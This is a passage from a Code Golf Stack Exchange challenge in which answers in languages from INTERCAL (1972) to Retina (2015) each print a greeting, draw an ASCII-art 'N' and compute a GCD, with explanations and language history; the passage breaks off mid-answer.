finding out if it was there in the first version of your language. If not, try not using it. # Rules * **You may answer multiple times, but each new answer must use a language made at least 5 years before the language in your last answer.** So if you answered with a 2015 language, you couldn't answer again until 2010 languages are allowed. If you start with a 2010 answer, you can't make a 2015 answer your second answer because 2015 is not before 2010. * If possible, write your code so that it would have worked in the very first version of your language (or as old a version as possible). (This is not a requirement because finding old compilers/interpreters for some languages may be difficult.) * Refrain from posting a language that has already been posted unless the posted answer has significant errors or you have a very different way of completing the tasks. * Golfing your code is fine but not required. * A trailing newline in the output of any program is fine. * For tasks 2 and 3, all input values below some reasonable maximum like 216 should work (256 at the very least). * Your language must have existed before this question was posted. * Very old programming languages may have different forms of input and output than what we think of today. This is fine. Complete the tasks to the best of your ability in the context of your language. # Scoring Your submission's score is: ``` upvotes - downvotes + (2015 - languageYear) / 2 ``` Thus, 0.5 is added to the vote count for every year before 2015, giving the advantage to older languages. The submission with the highest score wins. # Answer List The Stack Snippet below lists all the valid answers according to their language year. **You must start your post with this [Markdown](https://stackoverflow.com/editing-help) line to ensure it is listed correctly:** ``` #[year] - [language name] ``` For example: ``` #1991 - Python ``` The language name may be in a link (it will be the same link in the answer list): ``` #1991 - [Python](https://www.python.org/) ``` Answers that don't follow this format, or have a year that is not allowed yet, or come from a user that already answered in the last 5 years are marked as invalid. ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script><script>$(function(){function e(e,r){var a="https://api.stackexchange.com/2.2/questions/48476/answers?page="+e.toString()+"&pagesize=100&order=asc&sort=creation&site=codegolf&filter=!YOKGPOBC5Yad160RQxGLP0r4rL";$.get(a,r)}function r(e){if(e.items.forEach(function(e){var r=e.link,a=e.owner.display_name,i=e.body.match(/<h1\b[^>]*>(\d{4}) - (.*?)<\/h1>/);if(i&&i.length>=3)var h=parseInt(i[1]),u=i[2];h&&u&&n>=h&&h>=t&&(!d.hasOwnProperty(e.owner.user_id)||d[e.owner.user_id]-h>=p)?(d[e.owner.user_id]=h,h==t&&--t,o.hasOwnProperty(h)||(o[h]=[]),o[h].push({language:u,user:a,link:r,score:e.score+(n-h)/2})):s.push(' <a href="'+r+'">'+a+"</a>")}),e.has_more)runQuery(++a,r);else{for(var i=n,h=[];o.hasOwnProperty(i);){for(var u=$("<tr>").append($("<td>").text(i.toString())),l=$("<td>"),c=$("<td>"),g=$("<td>"),f=0;f<o[i].length;f++){var v=o[i][f];l.append(v.language),c.append($("<a>").html(v.user).attr("href",v.link)),g.append(v.score),f+1<o[i].length&&(l.append("<br><br>"),c.append("<br><br>"),g.append("<br><br>"))}u.append(l).append(c).append(g),h.push(u),--i}$("#answers").find("tbody").append(h),s.length>0?$("#invalid").append(s):$("#invalid").remove()}}var a=1,n=2015,t=n-1,p=5,o={},s=[],d={};e(1,r)})</script><style>html *{font-family: Helvetica, Arial, sans-serif;}table{border: 4px solid #a4a; border-collapse: collapse;}th{background-color: #a4a; color: white; padding: 8px;}td{border: 1px solid #a4a; padding: 8px;}div{font-size: 75%;}</style><table id='answers'> <tr> <th>Year</th> <th>Language</th> <th>User (answer link)</th> <th>Score</th> </tr></table><div id='invalid'><br>Invalid Answers:</div> ``` [Answer] # 2013 - Dogescript [Dogescript](https://github.com/dogescript/dogescript/blob/master/LANGUAGE.md) is a language created in 2013 by Zach Bruggeman. It is nothing more than a syntax-replacement for Javascript to make it read like the internal monologues of memetic Shiba Inus. ## Hello doge ``` console dose loge with "Dogescript was made in 2013!" ``` ## ASCII Art ``` such N much N much i as 0 next i smaller N next i more 1 very doge is ("N" + " ".repeat(N-2) + "N").split('') s[i] is "N"; console dose loge with doge.join('') wow wow ``` ## GCD ``` such gcd_doge much doge, dooge rly dooge gcd_doge(dooge, doge % dooge) but rly doge smaller 0 -doge but doge wow wow ``` [Answer] # 2015 - [Retina](https://github.com/mbuettner/retina) Retina is a regex-based programming language, which I wrote to be able to compete in PPCG challenges with regex-only answers, without having the unnecessary overhead of calling the regex in some host language. Retina is Turing-complete. To prove it I've implemented [a 2-tag system solver as well as Rule 110](https://github.com/mbuettner/retina/tree/master/Examples). It is written in C#, hence it supports both the .NET flavour (by default) and the ECMAScript flavour (via a flag). Retina can operate in multiple modes, but the most relevant one for computations (and the Turing-complete one) is Replace mode. In Replace mode you give Retina an even number of source files. These are then paired, the first of each pair being a regex, and the second a replacement. These are then executed in order, manipulating the input step by step. The regex can also be preceded by a configuration (delimited with ```). The most important option (which makes Retina Turing-complete) is `+`, which makes Retina apply the replacement in a loop until the result stops changing. In the following examples, I'm also using `;`, which suppresses output on intermediate stages. In each of the following submissions, each line goes in a separate source file. (Alternatively, you can use the new `-s` option and put all lines into a single file.) Empty files/lines are represented as `<empty>`. Files/lines containing a single space are represented as `<space>`. The explanations are quite long, so I've moved them to the end of the post. ## The Programs ### "Hello, World!" Variant ``` <empty> Retina was made in 2015! ``` ### ASCII Art N This assumes that STDIN is terminated with a newline. ``` ;`^ # ;+`(\d*)#(?:(((((((((9)|8)|7)|6)|5)|4)|3)|2)|1)|0) $1$1$1$1$1$1$1$1$1$1$2$3$4$5$6$7$8$9$10# ;`# <empty> ;`\d N ;`.(?<=(?=(.*\n)).*)|\n $1 ;`N(?=N\n.*\n.*\n`$) <space> ;+`N(?=.?(.)+\n.* (?<-1>.)+(?(1)!)\n) <space> ;`(?<=^.*\n.*\nN)N S ;+`(?<=\n(?(1)!)(?<-1>.)+S.*\n(.)+N?)N S S <space> ``` ### GCD This requires that STDIN is *not* terminated with a newline. ``` ;`\b(?=\d) # ;+`(\d*)#(?:(((((((((9)|8)|7)|6)|5)|4)|3)|2)|1)|0) $1$1$1$1$1$1$1$1$1$1$2$3$4$5$6$7$8$9$10# ;`# <empty> ;`\d 1 ;`^(.+)\1* \1+$ $1 ;`$ #:0123456789 ;+`^(?=1)(1*)\1{9}(#(?=.*(0))|1#(?=.*(?<3>1))|11#(?=.*(?<3>2))|111#(?=.*(?<3>3))|1111#(?=.*(?<3>4))|11111#(?=.*(?<3>5))|111111#(?=.*(?<3>6))|1111111#(?=.*(?<3>7))|11111111#(?=.*(?<3>8))|111111111#(?=.*(?<3>9))) $1#$3 #|:.* <empty> ``` ## Explanations ### "Hello, World!" Variant This is fairly trivial. It takes no input (i.e. an empty string), matches nothing and replaces it with `Retina was made in 2015!`. One can also make it work for arbitrary input, by replacing the pattern with `[\s\S]*` for instance. That would slurp STDIN and replace all of it with the output. ### ASCII Art N This has quite a lot of stages. The idea is to convert the input to unary, create an N x N block of `N`s and then "carve out" two triangles. Let's go through the individual stages. Remember that `;` merely suppresses intermediate outputs, but `+` causes the replacement to be applied in a loop. ``` ;`^ # ``` Simple: prepend a `#` to the input. This will be used as a marker in the conversion to unary. ``` ;+`(\d*)#(?:(((((((((9)|8)|7)|6)|5)|4)|3)|2)|1)|0) $1$1$1$1$1$1$1$1$1$1$2$3$4$5$6$7$8$9$10# ``` This converts one digit to unary. It takes the digits already converted `(\d*)` and repeats them 10 times. And then it takes the next digit and appends the appropriate number of digits. The actual value of the digits is irrelevant at this stage. When the `#` reaches the end of the number, the regex no longer matches, and the conversion is done. As an example, the number `127` will be processed as ``` #127 1#27 111111111122#7 1111111111221111111111221111111111221111111111221111111111221111111111221111111111221111111111221111111111221111111111227777777# ``` where the last line contains exactly 127 digit characters. ``` ;`# <empty> ;`\d N ``` Two simple stages which get rid of that `#` and then convert all the digits to `N`. In the following I'll use input `7` as an example. So now we've got ``` NNNNNNN ``` The next stage ``` ;`.(?<=(?=(.*\n)).*)|\n $1 ``` replaces each `N` with the entire string (remember that it contains a trailing newline), and also removes the trailing newline itself. Hence, this turns the single row into a square grid: ``` NNNNNNN NNNNNNN NNNNNNN NNNNNNN NNNNNNN NNNNNNN NNNNNNN ``` Now the upper triangle. First, we start things off by turning the N in the lower right corner into a space: ``` ;`N(?=N\n.*\n.*\n`$) <space> ``` The lookahead ensures that we're modifying the correct `N`. This gives ``` NNNNNNN NNNNNNN NNNNNNN NNNNNNN NNNNN N NNNNNNN NNNNNNN ``` And now ``` ;+`N(?=.?(.)+\n.* (?<-1>.)+(?(1)!)\n) <space> ``` is a regex which matches an `N` which is above or at the top left corner of a space character, and replaces it with a space. Because the replacement is repeated, this is essentially a flood-fill, which turns the 3rd octant from the initial space into more spaces: ``` N N NN N NNN N NNNN N NNNNN N NNNNNNN NNNNNNN ``` And finally, we repeat the same thing with the bottom triangle, but we use a different character, so the already existing spaces don't cause a wrong flood fill: ``` ;`(?<=^.*\n.*\nN)N S ``` sets the seed: ``` N N NN N NSN N NNNN N NNNNN N NNNNNNN NNNNNNN ``` Then ``` ;+`(?<=\n(?(1)!)(?<-1>.)+S.*\n(.)+N?)N S ``` does the flood-fill. ``` N N NN N NSN N NSSN N NSSSN N NSSSSNN NSSSSSN ``` And finally ``` S <space> ``` Turns those `S` into spaces and we're done: ``` N N NN N N N N N N N N N N N NN N N ``` ### GCD GCD in unary is actually very trivial with regex. Most of this consists of the decimal to unary and unary to decimal conversion. This could be done more compactly, but this isn't a code golf, so... ``` ;`\b(?=\d) # ;+`(\d*)#(?:(((((((((9)|8)|7)|6)|5)|4)|3)|2)|1)|0) $1$1$1$1$1$1$1$1$1$1$2$3$4$5$6$7$8$9$10# ;`# <empty> ;`\d 1 ``` These stages are essentially the same as above, except that both input numbers are converted, and the result uses `1`s instead of `N`s (not that it matters). So if the input was `18 24`, then this would produce ``` 111111111111111111 111111111111111111111111 ``` Now ``` ;`^(.+)\1* \1+$ $1 ``` **is the entire GCD computation.** We match a common divisor by capturing a number of `1`s, and then using backreferences to ensure that both numbers can be written by repeating that string (and nothing else). Due to how backtracking works in the regex engine (i.e. that `.+` is greedy), this will always yield the *greatest* common divisor automatically. Since the match covers the entire string, we simply write back the first capturing group to get our GCD. Finally, the unary to decimal conversion... ``` ;`$ #:0123456789 ``` Append a marker `#`, a delimiter `:` and all digits to the string. This is necessary, because you can't produce new characters conditionally in a regex replacement. If you want conditional replacement, you need to pull the characters from the string itself, so we put them there. ``` ;+`^(?=1)(1*)\1{9}(#(?=.*(0))|1#(?=.*(?<3>1))|11#(?=.*(?<3>2))|111#(?=.*(?<3>3))|1111#(?=.*(?<3>4))|11111#(?=.*(?<3>5))|111111#(?=.*(?<3>6))|1111111#(?=.*(?<3>7))|11111111#(?=.*(?<3>8))|111111111#(?=.*(?<3>9))) $1#$3 ``` This is the inverse of the unary expansion earlier. We find the largest multiple of 10 that fits into the current string. Then we choose the next digit based on the remainder, and divide the multiple by 10, while moving the marker through the digits. ``` #|:.* <empty> ``` And lastly just a cleanup step to get rid of the marker, delimiter and the helper digits. [Answer] # 2013 - Snap*!* [Snap*!*](http://snap.berkeley.edu) is a language based on [Scratch](http://scratch.mit.edu), made at Berkeley University. It is an upgrade to Scratch featuring first-class data and custom blocks (functions). Like Scratch, it is not text based, but rather done by visual "blocks" that snap together. Snap*!*, written in JavaScript, is the successor to BYOB, which was written in Squeak Smalltalk. Snap*!* was beta released for public consumption in [March 2013](https://github.com/jmoenig/Snap--Build-Your-Own-Blocks/tree/0b510366d230399a38f18a8db92dd396a0dad42e). Snap*!* is actually not an esoteric language. It is used as the programming language for the [Beauty and Joy of Computing (BJC)](http://bjc.berkeley.edu/) AP CS course at Berkeley and others. I helped out with testing and stuff. ## "Hello World" variant ![](https://i.stack.imgur.com/9ZQxz.png) ## ASCII Art "N" ![enter image description here](https://i.stack.imgur.com/wxXLN.png) This uses the stdlib for some of the blocks. Pretty basic looping here. Takes an input. Then we just add it all together and say it (result for n=5): ![enter image description here](https://i.stack.imgur.com/T3B1I.png) I took the liberty here to just use 2 spaces instead of 1, because Snap! doesn't say stuff in monospace. ## GCD The Euclidean algorithm isn't very fast, but it works, and is pretty simple. (Sorry, i made a typo in the block name. Now i closed the tab without saving. It'll just have to stay.) ![enter image description here](https://i.stack.imgur.com/iakB5.png) This function definition will then produce this block: ![enter image description here](https://i.stack.imgur.com/nEsN4.png) [Answer] # 2007 - LOLCODE ### Language History LOLCODE was created in 2007 by Adam Lindsay, a researcher at Lancaster University. Its syntax is based on the lolcats memes popularized by Cheezburger, Inc. ### "Hello, World!" Variant ``` HAI VISIBLE "LOLCODE wuz maed in 2007!" KTHXBYE ``` ### ASCII Art N ``` HAI BTW, read n from stdin GIMMEH n BTW, convert n from YARN to NUMBR n R PRODUKT OF n AN 1 BOTH SAEM n AN 1, O RLY? YA RLY VISIBLE "N" NO WAI VISIBLE "N"! I HAS A butt ITZ 1 IM IN YR toilet UPPIN YR butt TIL BOTH SAEM butt AN DIFF OF n AN 1 VISIBLE " "! IM OUTTA YR toilet VISIBLE "N" I HAS A kat ITZ 2 IM IN YR closet UPPIN YR kat TIL BOTH SAEM kat AN n VISIBLE "N"! BOTH SAEM kat AN 2, O RLY? YA RLY VISIBLE "N"! NO WAI I HAS A doge ITZ 1 IM IN YR l00p UPPIN YR doge TIL BOTH SAEM doge AN DIFF OF kat AN 1 VISIBLE " "! IM OUTTA YR l00p VISIBLE "N"! OIC I HAS A brd ITZ 1 IM IN YR haus UPPIN YR brd TIL BOTH SAEM brd AN DIFF OF n AN kat VISIBLE " "! IM OUTTA YR haus VISIBLE "N" IM OUTTA YR closet VISIBLE "N"! I HAS A d00d ITZ 1 IM IN YR lap UPPIN YR d00d TIL BOTH SAEM d00d AN DIFF OF n AN 1 VISIBLE " "! IM OUTTA YR lap VISIBLE "N" OIC KTHXBYE ``` Values are read as strings (YARNs) from stdin using `GIMMEH`. They can be converted to numeric (NUMBRs) by multiplying by 1. Values are printed to stdout using `VISIBLE`. By default a newline is appended, but it can be suppressed by adding an exclamation point. ### GCD ``` HAI GIMMEH a a R PRODUKT OF a AN 1 GIMMEH b b R PRODUKT OF b AN 1 I HAS A d00d ITZ 1 IM IN YR food UPPIN YR d00d TIL BOTH SAEM b AN 0 I HAS A kitty ITZ a I HAS A doge ITZ b a R doge b R MOD OF kitty AN doge IM OUTTA YR food VISIBLE SMOOSH "gcd is " a KTHXBYE ``` `SMOOSH` performs string concatenation. [Answer] # 1982 - [PostScript](http://en.wikipedia.org/wiki/PostScript) PostScript is a language for creating vector graphics and printing. Adobe was founded in 1982, and their first product was PostScript. The language was used in printers: the commands are interpreted by the printer to create a raster image, which is then printed onto the page. It was a very common component of laser printers well into the 1990s. But it’s obviously quite CPU intensive on the printer, and as computer processors became more powerful, it made more sense to do the rasterisation on the computer than the printer. PostScript has largely gone away on consumer printers, although it still exists on a lot of more high-end printers. The standard which replaced PostScript is a little-known format called PDF. PostScript had fallen out of fashion by the time I started programming, but I learnt a little bit while I was in university as another way of creating documents for TeX. It was quite different to other programming languages I’d used (reverse infix notation, stack, printing to a page instead of a console), but it was nice to dust off this old language for some fun. Since PostScript is a printing language, it seems more appropriate to use it to print something then send an output to the console. ## Task 1 ``` /Courier findfont 12 scalefont setfont newpath 100 370 moveto (PostScript was made in 1982!\n) show ``` The first few lines set up a canvas to draw on. Then the `moveto` command tells PS to draw at a particular position, and `show` prints the string to the page. Note that parentheses mark a string in PostScript, not quotation marks. ## Task 2 ``` /asciiartN {% stack: N row col % output: draws an "ASCII art" N % PostScript doesn't allow you to pass variables directly into a function; % instead, you have to pass variables via the global stack. Pop the variables % off the stack and define them locally. 6 dict begin /row exch def /col exch def /N exch def % Define how much space will be between each individual "N" /spacing 15 def % Get the width of the "N". We need this to know where to draw the right-hand % vertical /endcol col spacing N 1 sub mul add def % One row is drawn at a time, with the bottom row drawn first, and working % upwards. This stack variable tracks which column the diagonal is in, and so % we start on the right and work leftward /diagcol endcol def % Repeat N times: draw one row at a time N { % Left-hand vertical of the "N" col row moveto (N) show % Right-hand vertical of the "N" endcol row moveto (N) show % Diagonal bar of the "N" diagcol row moveto (N) show % Advance to the next row. This means moving the row one space up, and the % diagonal position one place to the left. /row row spacing add def /diagcol diagcol spacing sub def } repeat end } def 1 100 200 asciiartN 3 150 200 asciiartN 5 230 200 asciiartN ``` I wrote a function for drawing the “ASCII art” N, but there’s no way for PostScript functions to take an argument. Instead, you push your arguments to the stack, then get them back off. That’s the `/x exch def` line. An example: suppose the stack is `8 9 2`. First we push the name `/x` to the stack, so the stack is `8 9 2 /x`. The `exch` operator swaps the two stack values, so now the stack is `8 9 /x 2`. Then `def` pops the top two stack values, and defines `/x` to have the value `2`. The stack is now `8 9`. When I started using PostScript, I found this a little confusing. I’d read about the stack as a theoretical concept, but this was the first time I was using it in practice. The rest of the function is some drawing code: start at the bottom right-hand corner, filling in a row at a time from left-to-right-to-diagonal. ## Task 3 ``` /modulo {% stack: x y % output: returns (x mod y) 3 dict begin /y exch def /x exch def % If x = y then (x mod y) == 0 x y eq {0} { % If x < y then (x mod y) == x x y lt {x} { % If x > y then subtract floor(x/y) * y from x /ycount x y div truncate def /x x ycount y mul sub def /x x cvi def x } ifelse } ifelse } def /gcd {% stack: a b % returns the gcd of a and b 2 dict begin /b exch def /a exch def % I'm using the recursive version of the Euclidean algorithm % If b = 0 then return a b 0 eq {a} { % Otherwise return gcd(b, a mod b) /a a b modulo def b a gcd } ifelse } def /displaygcd {% stack: a b xcoord ycoord % displays gcd(a,b) at position (xcoord, ycoord) 5 dict begin /ycoord exch def /xcoord exch def /b exch def /a exch def /result a b gcd def xcoord ycoord moveto result 20 string cvs show % end } def 8 12 100 80 displaygcd 12 8 150 80 displaygcd 3 30 200 80 displaygcd 5689 2 250 80 displaygcd 234 876 300 80 displaygcd ``` Again, I used a form of Euclid’s algorithm, but I’d forgotten that PostScript has a built in modulo operator, so I had to write my own. This turned out to be a useful reminder of the constraints of stack-based programming. My first implementation of `modulo` was based on recursion: ``` modulo(x, y) if (x = y) return 0 elif (x < y) return x else return module(x - y, y) ``` which is fine until you try to run this when `x` is large and `y` is small (e.g. 5689 and 2). You can only have up to 250 elements on the stack, and so I was blowing well past the stack limit. Oops. I had to go back to the drawing board on that one. The GCD code itself is fairly simple. But just as functions can’t take arguments, so they don’t have return values. Instead, you have to push the result to the stack where somebody else can pop it off later. That’s what the `a` and `b a gcd` lines do: when they’ve finished evaluating, they push the value to the stack. If you put all the code in a document and print it, this is what the output looks like: ![enter image description here](https://i.stack.imgur.com/3fDgh.jpg) [Answer] # 2009 - [><>](http://esolangs.org/wiki/Fish) Inspired by Befunge, ><> (Fish) is an esoteric stack-based 2D language, i.e. program flow can be up, down, left or right. The initial version of ><> featured multithreading where `[` and `]` created and ended threads, but for simplicity reasons these instructions were changed to creating and removing new stacks respectively. The current official interpreter for ><> can be found [here](https://gist.github.com/anonymous/6392418). Unfortunately, the link to the old interpreter on Esolang wiki is broken. ## "Hello, World!" Variant ``` "!9002 ni edam saw ><>"l?!;obb+0. ``` Note how the string is written backwards — ><> doesn't technically have strings, with the only data type being a weird mix of char, int and float. `"` toggles string parsing, pushing each character onto the stack until a closing `"` is met. The second half of the code then pushes the length of the stack `l`, checks if it's zero `?!` and if so the program terminates `;`. Otherwise the instruction pointer continues, outputting the top of the stack with `o` before executing `bb+0.`, which teleports the pointer to position `(22, 0)` just before the `l`, creating a loop. ## ASCII Art N ``` &0 > :&:&:*=?; :&:&% :0=?v :&:&1-=?v :{:{-&:&,{=?v " " o \ > ~"N"o v + > ~"N"oao v 1 >"N"o v \ < / ``` With spacing for clarity. You can try this out at the new online interpreter [here](http://fishlanguage.com/) and see the instruction pointer go around and around — just remember to enter a number in the "Initial Stack" textbox. If you're running via the Python interpreter, use the `-v` flag to initialise the stack, e.g. ``` py -3 fish.py ascii.fish -v 5 ``` For this program, we put the input `n` into the register with `&` and push a 0, which we'll call `i` for "iterations". The rest of the program is a giant loop which goes like this: ``` :&:&:*=?; If i == n*n, halt. Otherwise ... :&:&% Push i%n :0=?v If i%n == 0 ... >~"N"o Print "N" :&:&1-=?v Else if i%n == n-1 ... >~"N"oao Print "N" and a newline :{:{-&:&,{=?v Else if i%n == i//n, where // is integer division... >~"N"o Print "N" " "o Otherwise, print a space 1+ Increment i ``` Then we repeat the loop from the beginning. The arrows `^>v<` change the direction of program flow and the mirrors `/\` reflect the direction of program flow. ## GCD ``` >:{:}%\ ;n{v?:/ v~@/ ``` Here's an example of what a golfed ><> program might look like. Once again, you can try this in the [online interpreter](http://fishlanguage.com/) (enter two comma-separated values in the "Initial stack" box, e.g. `111, 87`) or by using the `-v` flag of the Python interpreter, e.g. ``` py -3 fish.py gcd.fish -v 111 87 ``` This program uses the Euclidean algorithm. Here's a GIF I prepared earlier: ![enter image description here](https://i.stack.imgur.com/OMVsN.gif) Note that ><> is toroidal, so when the bottom left `v` instruction is executed the instruction pointer goes downwards, wraps around, and reappears at the top. --- Edit: By making the code run entirely from **right to left**, @randomra managed to shave three bytes with ``` <~@v!?:%}:{: ;n{/ ``` Guess I didn't golf it down enough :) [Answer] # 2012 - [Element](https://github.com/PhiNotPi/Element) This is a language that I invented in early 2012 to be a simple golfing language. By this, I mean that there is very little to no operator overloading. The operators are also simpler and fewer in number than most modern golfing languages. The most interesting features of this language are its data structures. There are *two* stacks and a hash that are used to store information. The m-stack is the main stack, where arithmetic and most other operations take place. When data is inputted or printed, this is where it goes or is retrieved from. The c-stack is the control stack. This is where boolean arithmetic takes place. The top values of the c-stack are used by If and While loops as the condition. The hash is where variables are stored. The `;` and `~` store and retrieve data from the hash, respectively. Element is a very weakly typed language. It uses Perl's ability to freely interpret numbers as strings and vice-versa. While I'm at it, I might as well include all the documentation for the language. **You can find the *original* 2012 interpreter, written in Perl, right [here](http://pastebin.com/rZKMKDWv). Update: I have created a more usable version, which you can find right [here](https://github.com/PhiNotPi/Element/blob/master/Interpreter).** ``` OP the operator. Each operator is a single character STACK tells what stacks are affected and how many are popped or pushed "o" stands for "other effect" HASH tells if it involves the hash x & y represent two values that are already on the stack, so the effect of the operator can be more easily described OP STACK HASH DESCRIPTION text ->m --whenever a bare word appears, it pushes that string onto the main stack _ o->m --inputs a word and pushes onto main stack ` m->o --output. pops from main stack and prints xy; mm-> yes --variable assignment. the top stack element y is assigned the value x ~ m->m yes --variable retrieval. pops from main stack, pushes contents of the element with that name x? m->c --test. pops x and pushes 0 onto control stack if x is '0' or an empty string, else pushes 1 ><= m->c --comparison. pops two numbers off of stack and performs test, pushes 1 onto control stack if true and 0 if false ' m->c --pops from main stack and pushes onto control stack " c->m --pops from control stack and pushes onto main stack &| cc->c --AND/OR. pops two items from control stack, performs and/or respectively, and pushes result back onto control stack ! c->c --NOT. pops a number off of control stack, pushes 1 if 0 or empty string, 0 otherwise [] c --FOR statement (view the top number number from control stack and eval those many times) {} c --WHILE (loop until top number on control stack is 0, also does not pop) # m-> --discard. pops from main stack and destroys ( m->mm --pops from main stack, removes first character, pushes the remaining string onto stack, and pushes the removed character onto stack ) m->mm --pops from main stack, removes last character, pushes the remaining string onto stack, and pushes the removed character onto stack +-*/%^ mm->m --arithmetic. pops two most recent items, adds/negates /multiplies/divides/modulates/exponentiates them, and places the result on the stack xy@ mm->o --move. pops x and y and moves xth thing in stack to move to place y in stack x$ m->m --length. pops x and pushs length of x onto the stack xy: mm->o --duplication. pops x and y and pushes x onto the stack y times xy. mm->m --concatination. pops x and y and pushes x concatonated with y \ o --escapes out of next character, so it isn't an operator and can be pushed onto the stack , m->mm --character conversion. pops from main stack, coverts it to char and pushes, and converts to num and pushes Newlines and spaces separate different elements to be pushed onto the stack individually, but can pushed onto the stack using \ ``` ## Task 1 - Print Text ``` Element\ was\ made\ in\ 2012\!` ``` One of the more awkward parts of the language is the lack of string delimiters, which is why escape characters are needed in this string. The ``` at the end prints the string. ## Task 2 - ASCII Art N ``` _+'[y~1+y;0[1+4:"2:'=1=|y~=|\ [#N]`"#]\ `] ``` Here, you will witness some stack manipulation. To make the explanation a little easier to format, I'll replace the newline with an `L` and the space with an `S`. ``` _+'[y~1+y;0[1+4:"2:'=1=|y~=|\S[#N]`"#]\L`] _+' input line, convert to #, move to c-stack [ FOR loop y~1+y; increment the y-pos 0 set the x-pos (the top # on the stack) to zero [ FOR loop 1+4: increment x-pos and make 3 additional copies (4 is total #) "2:' make a copy of the N size on the main stack = if x-pos == size 1= or if x-pos == 1 y~=| of if x-pos == y-pos \S (always) push a space [ the IF body (technically a FOR loop) #N if true, remove the space and push an N ] end IF ` output the pushed character "# remove the result of the conditional ] end x-pos FOR \L` output a newline ] end y-pos FOR ``` After doing some extreme golfing of this answer, I found a 39 byte solution, although it is much more complicated. ``` _'1[y~+y;[#1+3:"2:'%2<y~=|\ [#N]`"]\ `] ``` ## Task 3 - GCD ``` __'{"3:~2@%'}` ``` This is a stack-based method. ``` __ input the two numbers ' use one of the number as a condition so the WHILE loop starts { } a WHILE loop. Repeats while the c-stack has a true value on top " get the number back from the c-stack to do operations on it 3: make it so that there are threes copies on the stack ~ takes one of the copies from earlier and converts it to a zero 2@ take the top item on the stack and move it behind the other two #s % modulo operation ' use this number as the condition ` since one number is zero (and on the c-stack) print the other number, which is on m-stack ``` [Answer] # 2012 - [Julia](http://julialang.org) ### Language History Julia was developed in 2012 by Jeff Bezanson, Stefan Karpinski, and Viral Shah while Jeff was a student at the Massachussets Institute of Technology (MIT), advised by professor Alan Edelman. They were motivated by a desire for a programming language that was open source, fast, and dynamic (among many other things) while maintaining ease of use in a variety of applications. The product was Julia, a fresh approach to high performance scientific computing. ### "Hello, World!" Variant ``` println("Julia was made in 2012!") ``` Printing to STDOUT in Julia is quite simple! ### ASCII Art N ``` function asciin(n) # Create an nxn matrix of spaces m = fill(" ", (n, n)) # Fill the first and last columns with "N" m[:,1] = m[:,n] = "N" # Fill the diagonal elements with "N" setindex!(m, "N", diagind(m)) # Print each row of the matrix as a joined string for i = 1:n println(join(m[i,:])) end end ``` The code is indented for readability, but Julia imposes no restrictions on whitespace. ### GCD ``` function g(a, b) b == 0 ? a : g(b, a % b) end ``` The last thing listed in the function is implicitly returned. [Answer] # 1988 - [Mathematica](http://www.wolfram.com/mathematica/) Or should I call it [Wolfram Language](http://www.wolfram.com/language/)? ## Task 0 The creator of Mathematica is Stephen Wolfram, the Founder and CEO of Wolfram Research. Before the development of Mathematica, he was a physicist. There was a huge amount of algebraic calculation in physics, so he became a user of [Macsyma](https://en.wikipedia.org/wiki/Macsyma). Wolfram got his PHD in 1979, when he was 20. He thought that he needed a better CAS than Macsyma to do physics, so he began to write [SMP](https://en.wikipedia.org/wiki/Symbolic_Manipulation_Program) (the "Symbolic Manipulation Program"). The first version of SMP was released in 1981. SMP was the predecessor of Mathematica. Though it had a deep influence on Mathematica, none of its code was ever used for Mathematica. In 1986, Wolfram decided to write an "ultimate computation system". He started writing the code in 1986, and founded the Wolfram Research in 1987. Finally, Mathematica 1.0 was released on June 23, 1988. ![Mathematica 1.0](https://i.stack.imgur.com/uvm2l.png) I didn't find Mathematica 1.0. In fact, Mathematica 1.0 had neither a Windows nor a Linux version. But I found Mathematica 2.0 on a Chinese website. It can still be run on Windows XP. ![Mathematica 2.0](https://i.stack.imgur.com/sypJm.png) ## Task 1 ``` Print["Mathematica was made in 1988!"] ``` Or simply: ``` "Mathematica was made in 1988!" ``` ## Task 2 In today's Mathematica, we can write: ``` asciiArtN[n_] := Print @@@ SparseArray[{i_, 1 | i_ | n} -> "N", {n, n}, " "] ``` Just like [Julia](https://codegolf.stackexchange.com/questions/48476/programming-languages-through-the-years/48491#48491) and [R](https://codegolf.stackexchange.com/questions/48476/programming-languages-through-the-years/48845#48845), this is a matrix solution. In Mathematica, you can define a sparse matrix using pattern matching. However, `SparseArray` was introduced in Mathematica 5.0, so we can't use it in Mathematica 1.0. Here is a solution that works in Mathematica 1.0: ``` asciiArtN[n_] := Block[{f}, f[i_, 1] = "N"; f[i_, i_] = "N"; f[i_, n] = "N"; f[__] = " "; Apply[Print, Array[f, {n, n}], 1]; ] ``` We can't write `f[i_, 1 | i_ | n] = "N"` because `Alternatives` was introduced in Mathematica 2.0. ## Task 3 We can just use the built-in function: ``` gcd = GCD ``` Or we can use the definition of the GCD: ``` gcd = Max[Intersection @@ Divisors[{##}]] &; ``` Or we can use the [LCM](https://en.wikipedia.org/wiki/Least_common_multiple), though more commonly LCM is computed from GCD: ``` gcd = Times[##]/LCM[##] &; ``` Or we can use the Euclidean algorithm with pattern matching: ``` gcd[a_, 0] := a gcd[a_, b_] := gcd[b, Mod[a, b]] ``` Or as an anonymous function: ``` gcd = If[#2 == 0, #1, #0[#2, Mod[##]]] &; ``` All the functions above were introduced in Mathematica 1.0. [Answer] # 1972 - [INTERCAL](http://catb.org/esr/intercal/) And you thought Fortran and Cobol were weird. This is insane! ## Task 1 ``` DO ,1 <- #27 DO ,1SUB#1 <- #110 DO ,1SUB#2 <- #32 DO ,1SUB#3 <- #72 PLEASE DO ,1SUB#4 <- #136 DO ,1SUB#5 <- #88 DO ,1SUB#6 <- #136 PLEASE DO ,1SUB#7 <- #64 DO ,1SUB#8 <- #80 DO ,1SUB#9 <- #46 PLEASE DO ,1SUB#10 <- #22 DO ,1SUB#11 <- #104 DO ,1SUB#12 <- #184 PLEASE DO ,1SUB#13 <- #202 DO ,1SUB#14 <- #78 DO ,1SUB#15 <- #48 PLEASE DO ,1SUB#16 <- #96 DO ,1SUB#17 <- #128 DO ,1SUB#18 <- #162 PLEASE DO ,1SUB#19 <- #110 DO ,1SUB#20 <- #32 DO ,1SUB#21 <- #114 PLEASE DO ,1SUB#22 <- #120 DO ,1SUB#23 <- #240 DO ,1SUB#24 <- #128 PLEASE DO ,1SUB#25 <- #208 DO ,1SUB#26 <- #200 DO ,1SUB#27 <- #52 DO READ OUT ,1 DO GIVE UP ``` I'm not going to try to explain INTERCAL's system of input and output; just read [this](http://divingintointercal.blogspot.com/2007/03/part-dalawa-still-trying-to-write-hello.html) and hope you don't die. ## Task 2 ``` DO WRITE IN 7 DO .1 <- .7 DO .2 <- #1 PLEASE DO (1010) 